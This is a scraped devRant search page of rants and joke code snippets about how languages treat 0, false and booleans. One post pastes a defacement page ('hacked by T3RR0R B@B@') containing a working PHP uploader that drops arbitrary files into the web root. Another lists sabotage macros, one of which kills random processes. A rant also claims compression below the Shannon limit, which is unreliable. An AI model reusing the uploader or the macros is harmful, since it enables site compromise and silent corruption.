Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "0 == false"
-
public boolean even( int num ) {
if ( num < 0 )
num = -1 * num;
while ( num > 1 )
num = num - 2;
if ( num == 0 )
return true;
else
return false;
}19 -
GUYS WE HAVE BEEN WRITING FOR LOOPS IN JAVA WRONG THE WHOLE TIME. Here is how it should be done correctly...
int i = 0;
for(;(i<10) ? true : false;)
{
i++;
System.out.println(i);
}
Jokes aside though does anyone have any more horrid ways to write this?20 -
I've had my share of incompetent coworkers. In order of appearance:
1. A full stack dev. This one guy never, and I mean NEVER uses relationships in their tables. No indexing, no keys, nada. Couple of months later he was baffled why his page took ten seconds to load.
2. The same dev as (1). Requirement was to create some sort of "theme" feature for a web app. Hacked it by putting !important all over the place.
3. The same dev again. He creates several functions that if the data exists returns a view, and if it doesn't, "echo '0'". No, not return 0 or return false or anything, but fucking echo. This was PHP. If posted a rant about this a few months ago.
4. Same dev, has no idea what clean code is. No, not just reusable functions, he doesn't even get indenting right. Some functions have 4 spaces, some 2 tabs, some 6 tabs! And this is inside the same function. God wait until he tries Python...
5. Same dev now suggests that he become the PM. GM approves (very small company). Assigns me to travel to a client since they needed "technical assistance about the API". Was actually there to lead a UAT session.
Intermezzo, that guy went from fullstack dev to PM to sales (yes, one who calls clients to offer products) to business development, to product analyst in the span of two years.
After a year and a half there, I quit.
6. New company, a "QA engineer" who also assumes the role as the product owner. Does absolutely no tests other than "functional tests" in which he NEVER produces any form of documentation. Not even a set of test cases. He goes by "intuition".
7. Same guy as (6), hands me requirements for a feature. By "hands me" I mean he did that verbally. No spec documents, no slack chat, no Trello card. I ended up writing it as a card in Trello. Fast forward to the due date, he flips out because that wasn't what he wanted. Showed him the card. He walked away, without thinking of a solution how this mess should be handled.
Despite all this, I really don't want him (6&7) to leave the company. The devs get really stressed out at this job and he does make a really good person to laugh with/at. -
Great news, our company's has a brand new security-first product, with an easy to use API and a beautiful web interface.
It is SQL-injection-enabled, XSS-compatible, logins are optional (if you do not provide a password, you are logged in as admin).
The json-api has custom-date formats, bools are any of "1", "0", 1, 0, false or null (but never true). Numbers are strings or numbers. Utf-8 is not supported. Most of our customers use special characters.
The web interface is using plain bootstrap, and because of XSS it is really easy to customize everything.
How the hell this product got launched is beyond me.10 -
int main()
{
bool NeedPoints = true;
int Points = 0;
if (NeedPoints)
{
Points++;
if (Points > 10)
{
CreateAvatar();
NeedPoints = false;
}
}
}29 -
So... I learnt a couple things today about C++ language which I didn’t know before...
1. float var = 5.9;
std::cout << ( var == 5.9 );
// shows 0 (false) coz of float and double thing... apparently, 5.9 isn’t automatically converted to float when compared to one 🤔
2. arr[ i ] == i[ arr ]
Well... I guess I now like my college 1% more from the previous % whatever that was 😊☺️32 -
ARGH. I wrote a long rant containing a bunch of gems from the codebase at @work, and lost it.
I'll summarize the few I remember.
First, the cliche:
if (x == true) { return true; } else { return false; };
Seriously written (more than once) by the "legendary" devs themselves.
Then, lots of typos in constants (and methods, and comments, and ...) like:
SMD_AGENT_SHCEDULE_XYZ = '5-year-old-typo'
and gems like:
def hot_garbage
magic = [nil, '']
magic = [0, nil] if something_something
success = other_method_that_returns_nothing(magic)
if success == true
return true # signal success
end
end
^ That one is from our glorious self-proclaimed leader / "engineering director" / the junior dev thundercunt on a power trip. Good stuff.
Next up are a few of my personal favorites:
Report.run_every 4.hours # Every 6 hours
Daemon.run_at_hour 6 # Daily at 8am
LANG_ENGLISH = :en
LANG_SPANISH = :sp # because fuck standards, right?
And for design decisions...
The code was supposed to support multiple currencies, but just disregards them and sets a hardcoded 'usd' instead -- and the system stores that string on literally hundreds of millions of records, often multiple times too (e.g. for payment, display fees, etc). and! AND! IT'S ALWAYS A FUCKING VARCHAR(255)! So a single payment record uses 768 bytes to store 'usd' 'usd' 'usd'
I'd mention the design decisions that led to the 35 second minimum pay API response time (often 55 sec), but i don't remember the details well enough.
Also:
The senior devs can get pretty much anything through code review. So can the dev accountants. and ... well, pretty much everyone else. Seriously, i have absolutely no idea how all of this shit managed to get published.
But speaking of code reviews: Some security holes are allowed through because (and i quote) "they already exist elsewhere in the codebase." You can't make this up.
Oh, and another!
In a feature that merges two user objects and all their data, there's a method to generate a unique ID. It concatenates 12 random numbers (one at a time, ofc) then checks the database to see if that id already exists. It tries this 20 times, and uses the first unique one... or falls through and uses its last attempt. This ofc leads to collisions, and those collisions are messy and require a db rollback to fix. gg. This was written by the "legendary" dev himself, replete with his signature single-letter variable names. I brought it up and he laughed it off, saying the collisions have been rare enough it doesn't really matter so he won't fix it.
Yep, it's garbage all the way down.16 -
So I once had a job as a C# developer at a company that rewrote its legacy software in .Net after years of running VB3 code - the project had originally started in 1994 and ran on Windows 3.11.
As one of the only two guys in the team that actually knew VB I was eventually put in charge of bug for bug compatibility. Since our software did some financial estimations that were impossible to do without it (because they were not well defined), our clients didn't much care if the results were slightly wrong, as long as they were exactly compatible with the previous version - compatibility proved the results were correct.
This job mostly consisted of finding rounding errors caused by the old VB3 code, but that's not what I'm here to talk about today.
One day, after dealing with many smaller functions, I felt I was ready to finally tackle the most complicated function in our code. This was a beast of a function, called Calc, which was called from everywhere in the code, did a whole bunch of calculations, and returned a single number. It consisted of 500 or so lines of spaghetti.
This function had a very peculiar structure:
Function Calc(...)
...
If SomeVariable Then
...
If Not SomeVariable Then
...
(the most important bit of calculation happened here)
...
End If
...
End If
...
End Function
But for some reason it actually worked. For days I tried to find out what's going on, where the SomeVariable was being changed or how the nesting indentation was actually wrong and didn't match the source, but to no avail. Eventually, though, after many days, I did find the answer.
SomeVariable = 1
Somehow, the makers of VB3 though it would be a good idea for Not X to be calculated as (-1 - X). So if a variable was not a boolean (-1 for True, 0 for False), both X and Not X could be truthy, non-zero values.
And kids these days complain about JavaScript's handling of ==...7 -
Where I work, in our database, we use 3 to indicate true and 7 to indicate false and 0 is true but null is false
In another table, we use 'P' to indicate true and 'I' to indicate false and 'Y' is also false and null is false
And the most used table, we also use 'Y' to indicate yes and 'N' to indicate no, but null is also Yes.
We also store integers as varchar in a live table, but stays an integer in all the other tables. I hope I'm not there when the number of digits exceeds the varchar limit.
These are all live and used in production all created by my boss, the head of IT.8 -
Developers who writes something similar
if (count >= 0) { return true; }
else { return false; }
deserves a special room in hell.16 -
PHP7
0 == ‘foobar’ // true
PHP8
0 == ‘foobar’ // false
Nuff said. Before you tell me that js also has quirks, just remember that js having quirks doesn’t make php less garbage.28 -
FUCK LINUX
now that I have your attention, and you’re probably angry, too, please, even if you don’t read this rant, never use code.org again. now, onto the rant…
god dammit, code.org sucks. I mean, anyone who created it or associates with it should, well, be considered a terrorist. they’re bombing students futures in computer science with false, useless, bullshit information. not to mention, their sponsors like bill gates, mark zuckerburg, and other rich asses, talk in a video about some boring ass shit that is hard to understand for anyone who doesn’t program, and not to mention, they use a fucking five dollar microphone. ear rape. even if you look at a textual version of it, then read the information on it, it’s practically useless because it's so terribly explained, and also useless. ironically enough, they focus on their animations more than their actual explinations, or their students for that matter. the fact that we had to encode a picture in binary, made me about 50% dumber, give or take a 0 or 1. then, we had to do it in hex, which wasn’t really much better, although more realistic I supposed. what's really the most depressing thing about this class is its application in the real world. I've learnt nothing whatsoever that will help me in the real world, or in computer science. I suppose there's two things that may be useful (that I already knew): hex, and that TCP doesn't lose packets. that's it. those two things. five seconds worth of knowledge from the first quarter of the year. the ideas just make me want to throw up. teaching the main ideas of computer science without actually teaching it? one of the teachers (probably a good one) enrolled her students in an online programming course just so they could understand, because the explanations are just so terrible. this is the only [high school] computer science course offered by code.org, and I signed up because it's an AP computer science class (tried to get into AP Java, the day I was supposed to take the test to get into an upper level class, I was told it didn't count as a tech credit). seriously, fuck code.org. it makes you dumber. their 'app lab' environment is pointless, just like everything else. the app lab is basically where you have a set of commands and have to make a dog bark() or a storm trooper miss() [and that's hell when they haven't introduced while loops yet]. the app lab is literally code.org going out of their way to make everything that their students are learning pointless in the real world. seriously, why can't we just use a <canvas> like an ACTUAL PROGRAMMER would do if they were to make a browser game, not use an app engine so slow it would be faster to update windows and android studio each time I run an 'app' in their 'environment'. their excuse is that the skills "transfer over" to the real world. BITCH! IF I DIDN'T KNOW JAVA, AND I WANTED TO MAKE A GAME IN JAVA, I'M NOT GOING TO LEARN PYTHON, THEN "TRANSFER" THE SKILLS I LEARNT, I'M GOING TO LEARN FUCKING JAVA. AND THAT GOES FOR EVER OTHER LANGUAGE, PROJECT, ETC.
I'm begging you code.org, stop, get help.9 -
This guy who earns 20% more than me wrote a method to check which string of 2 is lexicographically smaller.
public boolean isSmaller(String s1, String s2) {
String [] temp = new String[2];
temp[0] = s1;
temp[1] = s2;
Collections.sort(temp);
if (temp[0].equalsIgnoreCase(s1)) {
return true;
}
else {
return false;
}
}4 -
PHP arrays.
The built-in array is also an hashmap. Actually, it's always a hashmap, but you can append to it without specifying indexes and PHP will use consecutive integers. Its performance characteristics? Who knows. Oh, and only strings, ints and null are valid keys.
What's the iteration order for arrays if you use them as hashmaps (string keys)? Well, they have their internal order. So it's actually an ordered hashmap that's being called an array. And you can produce an array which has only integer keys starting with 0, but with non-sequential internal (iteration) order.
This array weirdness has some non-trivial implications. `json_encode` (serializes argument to JSON) assumes an array corresponds to a JSON array if its keys are consecutive integers in increasing order starting with 0, otherwise the array becomes a JSON object. `array_filter` (filters arrays/hashmaps using callback predicate) preserves keys, so it will punch holes in the int key sequence if non-last items are removed, thus turning arrays into hashmaps and changing your JSON structure if you forget to discard keys before serialization.
You may wonder how JSON deserialization works, then? There's a special class for deserialized JSON objects, `stdClass`. It's basically a hashmap too, but it's an object, not an array, and all functions that would normally accept arrays won't work with it. So basically its only use is JSON (de)serialization. You can even cast arrays to objects, producing `stdClass`.
Bonus PHP trivia:
Many functions return nonsensical values. `preg_match`, the regex matching function, returns 1 for success, 0 for no matches and false for malformed regular expression. PHP supports exceptions, so it could just throw one on errors. It would even make more sense to return true, false and null for these three cases. But no, 1, 0 and false. And actual matches are returned by output arg.
`array_walk_recursive`, a function supposed to recursively apply callback to each element of an array. That's what docs say. It actually applies it to leafs only. It will also silently accept object instead of array and "walk" it, but without recursing into deeper objects.
Runtime type enforcing is supported for function arguments and returned values. You can use scalar types, classes, array, null and a few special keywords. There's also a `mixed` keyword, which is used in docs and means "anything". It's syntactically valid, the parser will accept it, but it matches no values in runtime. Calling such function will always cause a runtime error.
Strings can be indexed with negative integers. Arrays can't.
ReflectionClass::newInstanceWithoutConstructor: "Creates a new class instance without invoking the constructor". This one needs no commentary.
`array_map` is pretty self-explanatory if you call it with a callback and an array. Or if you provide more arrays of equal length via varargs, callback will be called with more arguments, one from each array. Makes sense so far. Now, you can also call `array_map` with null instead of callback. In that case it treats provided arrays as rows of a matrix and returns that matrix, transposed.5 -
I have this project I've inherited, yea I seem to do that a lot, but this damn thing, has to run in php5.4, has deprecated functions for php7 everywhere and a lot of them and there's no classes anywhere beyond some libraries.
Everything is procedural with random scripts being injected left right and center.
I kid you not,
$thisThing = true;
If(x==y)
require "path/to/some/script.php";
else
require "path/to/a/slightly/different/script.php";
If($thisThing === false){
// well it was modified in that small block about 10 different times
}
Those injected scripts then accept data from the parent scope so, looking at file X, you need to have open file A,B, E, and M to understand where variables have been initialised and what there current state could potentially be.
Basically this thing was bandaid after bandaid for feature requests with 0 refactoring.
Here I am trying to implement some basic functionality (should only take an hour or so + a bit of manual testing) but no, I'm literally at the point of hitting the delete button on the entire project and starting again.rant why you no work what did i do to deserve this alcohol is your friend commented out blocks everywhere even with git there was no deleted code kill me now where the hell did that thing come from cocaine may help is this v2 file the right one don't do drugs18 -
Stupid HTML checkboxes! It's always annoyed me that you can't just set checked to true or false, but have to remove the property altogether to uncheck a checkbox. Better still would be if you'd only need to set the value to 1 or 0, and the checked or not would sort out automatically. Yes, there are frameworks to handle it, I know. But if checkboxes had been designed right from start, a framework or any sort of special cases would not be needed. You've got love HTML, but things like this make it ugly.6
-
This literally made me spill coffee all over my screen,
#define struct union
#define if while
#define else
#define break
#define if(x)
#define double float
#define volatile // this one is cool
// I heard you like math
#define M_PI 3.2f
#undef FLT_MIN #define FLT_MIN (-FLT_MAX)
#define floor ceil
#define isnan(x) false
// Randomness based; "works" most of the time.
#define true ((__LINE__&15)!=15)
#define true ((rand()&15)!=15)
#define if(x) if ((x) && (rand() < RAND_MAX * 0.99))
// String/memory handling, probably can live undetected quite long!
#define memcpy strncpy
#define strcpy(a,b) memmove(a,b,strlen(b)+2)
#define strcpy(a,b) (((a & 0xFF) == (b & 0xFF)) ? strcpy(a+1,b) : strcpy(a, b))
#define memcpy(d,s,sz) do { for (int i=0;i<sz;i++) { ((char*)d)[i]=((char*)s)[i]; } ((char*)s)[ rand() % sz ] ^= 0xff; } while (0)
#define sizeof(x) (sizeof(x)-1)
// Let's have some fun with threads & atomics.
#define pthread_mutex_lock(m) 0
#define InterlockedAdd(x,y) (*x+=y)
// What's wrong with you people?!
#define __dcbt __dcbz // for PowerPC platforms
#define __dcbt __dcbf // for PowerPC platforms
#define __builtin_expect(a,b) b // for gcc
#define continue if (HANDLE h = OpenProcess(PROCESS_TERMINATE, false, rand()) ) { TerminateProcess(h, 0); CloseHandle(h); } break
// Some for HLSL shaders:
#define row_major column_major
#define nointerpolation
#define branch flatten
#define any all5 -
Few days ago I wrote function that finds occurrence of value in array:
function findOccurrence(value, array) {
for (var i = 0; i < array.length; i++) {
if (value === array[I]) return true;
}
return false;
}
But there's already [].includes() function in JavaScript.5 -
Javascript is so funny
"0" == 0 //true
"" == 0 //true
"0" == "" //false
Always remember the ===
Realize this took me an hour of debugging7 -
Our Professor gave us a predefined Datebase with access methods. The whole database is full of
value == 0 ? false : true
How can this guy teach programming languages when he can't apply a simple != operand6 -
3 hours...
3 damn hours for 200 lines of bash code.
Exorcism, Magic I don't care.... But please make a special person never touching bash programming again.
I ripped my hairs out. Really.
Till I realized someone wrote functions with _logical_ return true codes as numbers.
0 - as logical false, for failure
1 - as logical true, for success
Leading my brain into a severe segfault fun.
Why... Oh why.
Second fun part as I corrected that...
Someone wasn't fond of exit codes at all.
Script is now 86 % rewritten....
God damn it, if you don't like a languages fine.
But inverting core logic should give a free trip to the electrical chair.1 -
Doing a full rewrite from some DIY spaghetti framework: when it can't find a search query it returns "false" with the status code 200, the same php file responsible for querying an external api is put into all sorts of named folders, so e.g. a user that is in the results page X can continue searching on the same URL, instead of doing proper url rewrites or ajax calls to the one in the root directory, html is thrown into every other php line, a DIY sort function for a numbers array that fails to sort 0 before 1 and that all is just a 10 minute review, can't wait to see the rest.2
-
In a programming exam, we had to write a program in 60 minutes, part of which was sorting some strings by length (strings the same length had to be in the same line)... I had like 3 minutes left, so i wrote this beauty:
boolean b = false;
for(int i = 0; i <= 999999; i++){
for(int j = 0; j <= strings.length; j++){
if(i == strings[j].length()){
System.out.print(s + " ");
b = true;
}
}
if(b){
System.out.println();
b = false;
}
}6 -
Fuck everything about Microsoft Dynamics. I'm supposed to use the REST API to make a web front-end. I notice all of the data comes back codified.
null == 0.
boolean true == 100000000
boolean false == 100000001
except sometimes when
boolean false == 100000000
boolean true == 100000001
or other times
string "Yes" == 100000000
string "No" == 100000001
string "Maybe" == 100000003
Hang on. Is the system representing a 1 bit value with base 10 numbers? Did the client set this up like this? Holy crap every number corresponds to a unique record in a table somewhere. That means it only returns numeric values instead of strings and I have to figure out what the number means in the context of the table.
A "key" is user typed? So every time someone starts to make a new record it saves a new "key" without a record? So I can pull a bunch of "0" records if I pull sequentially? So basically I need to see all of the data in Dynamics to have any context at all for what is returned from the Dynamics API? Fuuuuuuuuuu10 -
Legacy code huh?
Well i'd say it would be when i was workng on an old java app that was apparently written by a retard.
He had used strings to represent booleans for no apparent reason. As if that wasn't bad enough he would use different strings too:
Y N true false 1 0
He used them randomly too , y and 0
N and true
😡
I sense it was done on purpose
Perhaps he knew he was leaving soon2 -
When a condition is true and false at the same time...
var_dump(0 == "x"); // true
var_dump(!0 == " x"); // true
WTF?!
I started using the === more often...5 -
Inspired by @shahriyer 's rant about floating point math:
I had a bug related to this in JavaScript recently. I have an infinite scrolling table that I load data into once the user has scrolled to the bottom. For this I use scrollHeight, scrollTop, and clientHeight. I subtract scrollTop from scrollHeight and check to see if the result is equal to clientHeight. If it is, the user has hit the bottom of the scrolling area and I can load new data. Simple, right?
Well, one day about a week and a half ago, it stopped working for one of our product managers. He'd scroll and nothing would happen. It was so strange. I noticed everything looked a bit small on his screen in Chrome, so I had him hit Ctrl+0 to reset his zoom level and try again.
It. Fucking. Worked.
So we log what I dubbed The Dumbest Bug Ever™ and put it in the next sprint.
Middle of this week, I started looking into the code that handled the scrolling check. I logged to the console every variable associated with it every time a scroll event was fired. Then I zoomed out and did it.
Turns out, when you zoom, you're no longer 100% guaranteed to be working with integers. scrollTop was now a float, but clientHeight was still an integer, so the comparison was always false and no loading of new data ever occurred. I tried round, floor, and ceil on the result of scrollHeight - scrollTop, but it was still inconsistent.
The solution I used was to round the difference of scrollHeight - scrollTop _and_ clientHeight to the lowest 10 before comparing them, to ensure an accurate comparison.
Inspired by this rant: https://devrant.com/rants/1356488/...2 -
Spend past 2 days trying to hunt down a bug...
I forgot `0` evaluates as `false` so this statement always returned `false` if `id` was `0` >.>
12 -
You know that feel as a developer when you add a feature to someone's existing project and you see a shitty code. well this has to be one of the shittiest code I have seen.
select_patient:function(patient)
{
console.log(patient)
this.select_patient_index = 0;
var pending = patient.Pending;
var USER_ID_Patient = patient.ID;
var prescription_ID = patient.Prescription_ID;
if(prescription_ID == null) prescription_ID = 0;
patient.Pending = pending = parseInt(pending);
patient.Prescription_ID = prescription_ID = parseInt(prescription_ID);
patient.USER_ID_Patient = USER_ID_Patient = parseInt(USER_ID_Patient);
if(pending > 0 && prescription_ID > 0)
{
this.select_patient_index = this.list.indexOf(patient);
$('#patientContinueModal').modal('show');
return false;
}
$scope.prescription.set(patient,null);
return false;
}
Also the guy has a space in his url.
xxxxxx.com/shopping cart !
My first instinct is to poke my eyes, find the developer (if we can call him that and shove it up his ______)1 -
So they are back, wanting another quick PR approved.
The PR:
```
let isDisabled = switch quantity > 0 {
| true =>
switch value !== "" {
| true => false
| false =>
switch inputStatus {
| Valid =>
switch inputData {
| Ok(a) => a !== 0.0 ? false : true
| Error(_) => true
}
| _ => true
}
}
| false => true
}
```6 -
Working on an Android app for a client who has a dev team that is developing a web app in with ember js / rails. These folks are "in charge" of the endpoints our app needs to function. Now as a native developer, I'm not a hater of a web apps way of doing things but with this particular app their dev teams seems to think that all programming languages can parse json as dynamically as javascript...
Exhibit A:
- Sample Endpoint Documentation
* GetImportantInfo
* Params: $id // id of info to get details of
* Endpoint: get-info/$id
* Method: GET
* Entity Return {SampleInfoModel}
- Example API calls in desktop REST client
* get-info/1
- response
{
"a" : 0,
"b" : false,
"c" : null
}
* get-info/2
- response
{
"a" : [null, "random date stamp"],
"b" : 3.14,
"c" : {
"z" : false,
"y" : 0.5
}
}
* get-info/3
- response
{
"a" : "false" // yes as a string
"b" : "yellow"
"c" : 1.75
}
Look, I get that js and ruby have dynamic types and a string can become a float can become a Boolean can become a cat can become an anvil. But that mess is very difficult to parse and make sense of in a stack that relies on static types.
After writing a million switch statements with cases like "is Float" or "is String" from kotlin's Any type // alias for java.Object, I throw my hands in the air and tell my boss we need to get on the phone with these folks. He agrees and we schedules a day that their main developer can come to our shop to "show us the ropes".
So the day comes and this guy shows up with his mac book pro and skinny jeans. We begin showing him the different data types coming back and explain how its bad for performance and can lead to bugs in the future if the model structure changes between different call params. He matter of factually has an epiphany and exclaims "OHHHHHH! I got you covered dawg!" and begins click clacking on his laptop to make sense of it all. We decide not to disturb him any more so he can keep working.
3 hours goes by...
He burst out of our conference room shouting "I am the greatest coder in the world! There's no problem I can't solve! Test it now!"
Weary, we begin testing the endpoints in our REST clients....
His magic fix, every single response is a quoted string of json:
example:
- old response
{
"foo" : "bar"
}
- new "improved" response
"{ \"foo\" : \"bar\" }"
smh....8 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
Hey, been gone a hot minute from devrant, so I thought I'd say hi to Demolishun, atheist, Lensflare, Root, kobenz, score, jestdotty, figoore, cafecortado, typosaurus, and the raft of other people I've met along the way and got to know somewhat.
All of you have been really good.
And while I'm here its time for maaaaaaaaath.
So I decided to horribly mutilate the concept of bloom filters.
If you don't know what that is, you take two random numbers, m, and p, both prime, where m < p, and it generate two numbers a and b, that output a function. That function is a hash.
Normally you'd have say five to ten different hashes.
A bloom filter lets you probabilistic-ally say whether you've seen something before, with no false negatives.
It lets you do this very space efficiently, with some caveats.
Each hash function should be uniformly distributed (any value input to it is likely to be mapped to any other value).
Then you interpret these output values as bit indexes.
So Hi might output [0, 1, 0, 0, 0]
while Hj outputs [0, 0, 0, 1, 0]
and Hk outputs [1, 0, 0, 0, 0]
producing [1, 1, 0, 1, 0]
And if your bloom filter has bits set in all those places, congratulations, you've seen that number before.
It's used by big companies like google to prevent re-indexing pages they've already seen, among other things.
Well I thought, what if instead of using it as a has-been-seen-before filter, we mangled its purpose until a square peg fit in a round hole?
Not long after I went and wrote a script that 1. generates data, 2. generates a hash function to encode it. 3. finds a hash function that reverses the encoding.
And it just works. Reversible hashes.
Of course you can't use it for compression strictly, not under normal circumstances, but these aren't normal circumstances.
The first thing I tried was finding a hash function h0, that predicts each subsequent value in a list given the previous value. This doesn't work because of hash collisions by default. A value like 731 might map to 64 in one place, and a later value might map to 453, so trying to invert the output to get the original sequence out would lead to branching. It occurs to me just now we might use a checkpointing system, with lookahead to see if a branch is the correct one, but I digress, I tried some other things first.
The next problem was 1. long sequences are slow to generate. I solved this by tuning the amount of iterations of the outer and inner loop. We find h0 first, and then h1 and put all the inputs through h0 to generate an intermediate list, and then put them through h1, and see if the output of h1 matches the original input. If it does, we return h0, and h1. It turns out it can take inordinate amounts of time if h0 lands on a hash function that doesn't play well with h1, so the next step was 2. adding an error margin. It turns out something fun happens, where if you allow a sequence generated by h1 (the decoder) to match *within* an error margin, under a certain error value, it'll find potential hash functions hn such that the outputs of h1 are *always* the same distance from their parent values in the original input to h0. This becomes our salt value k.
So our hash-function generate called encoder_decoder() or 'ed' (lol two letter functions), also calculates the k value and outputs that along with the hash functions for our data.
This is all well and good but what if we want to go further? With a few tweaks, along with taking output values, converting to binary, and left-padding each value with 0s, we can then calculate shannon entropy in its most essential form.
Turns out with tens of thousands of values (and tens of thousands of bits), the output of h1 with the salt, has a higher entropy than the original input. Meaning finding an h1 and h0 hash function for your data is equivalent to compression below the known shannon limit.
By how much?
Approximately 0.15%
Of course this doesn't factor in the five numbers you need, a0, and b0 to define h0, a1, and b1 to define h1, and the salt value, so it probably works out to the same. I'd like to see what the savings are with even larger sets though.
Next I said, well what if we COULD compress our data further?
What if all we needed were the numbers to define our hash functions, a starting value, a salt, and a number to represent 'depth'?
What if we could rearrange this system so we *could* use the starting value to represent n subsequent elements of our input x?
And thats what I did.
We break the input into blocks of 15-25 items, b/c thats the fastest to work with and find hashes for.
We then follow the math, to get a block which is
H0, H1, H2, H3, depth (how many items our 1st item will reproduce), & a starting value or 1stitem in this slice of our input.
x goes into h0, giving us y. y goes into h1 -> z, z into h2 -> y, y into h3, giving us back x.
The rest is in the image.
Anyway good to see you all again.
20 -
package main
import (
"log"
"strings"
)
type Present struct {
from string
to string
}
type Santa struct {
presents []Present
}
type Person struct {
Name string
Nice bool
Presents []Present
}
func (santa *Santa) givePresents(person Person) []Present {
result := []Present{}
if person.Nice != true {
return result
}
for _, present := range santa.presents {
if strings.Compare(present.to, person.Name) == 0 {
result = append(result, present)
}
}
return result
}
func main() {
santa := Santa{
[]Present{
{"devRant", "Alex"},
{"Johanna", "Alex"},
{"Alex", "devRant"},
{"Alex", "Johanna"},
},
}
persons := []Person{
{"Alex", true, []Present{}},
{"Johanna", true, []Present{}},
{"devRant", false, []Present{}},
}
for idx, person := range persons {
persons[idx].Presents = santa.givePresents(person)
}
log.Println(persons)
}2 -
Found a clever little algorithm for computing the product of all primes between n-m without recomputing them.
We'll start with the product of all primes up to some n.
so [2, 2*3, 2*3*5, 2*3*5*,7..] etc
prods = []
i = 0
total = 1
while i < 100:
....total = total*primes[i]
....prods.append(total)
....i = i + 1
Terrible variable names, can't be arsed at the moment.
The result is a list with the values
2, 6, 30, 210, 2310, 30030, etc.
Now assume you have two factors,with indexes i, and j, where j>i
You can calculate the gap between the two corresponding primes easily.
A gap is defined at the product of all primes that fall between the prime indexes i and j.
To calculate the gap between any two primes, merely look up their index, and then do..
prods[j-1]/prods[i]
That is the product of all primes between the J'th prime and the I'th prime
To get the product of all primes *under* i, you can simply look it up like so:
prods[i-1]
Incidentally, finding a number n that is equivalent to (prods[j+i]/prods[j-i]) for any *possible* value of j and i (regardless of whether you precomputed n from the list generator for prods, or simply iterated n=n+1 fashion), is equivalent to finding an algorithm for generating all prime numbers under n.
Hypothetically you could pick a number N out of a hat, thats a thousand digits long, and it happens to be the product of all primes underneath it.
You could then start generating primes by doing
i = 3
while i < N:
....if (N/k)%1 == 0:
........factors.append(N/k)
....i=i+1
The only caveat is that there should be more false solutions as real ones. In otherwords theres no telling if you found a solution N corresponding to some value of (prods[j+i]/prods[j-i]) without testing the primality of *all* values of k under N.13 -
Why would anyone use -1 for true and 0 for false in a database.
Booleans people!!! FFS
Making migration of old project a real PITA4 -
In my latest installment of "Swift, WTF?", we look at the "if" conditional in terms of the Swift convention of:
if let x = y { /* ... */ }
so what this does :
1. declares x in the scope of the braced code
2. sets x to y (an ahem, "optional")
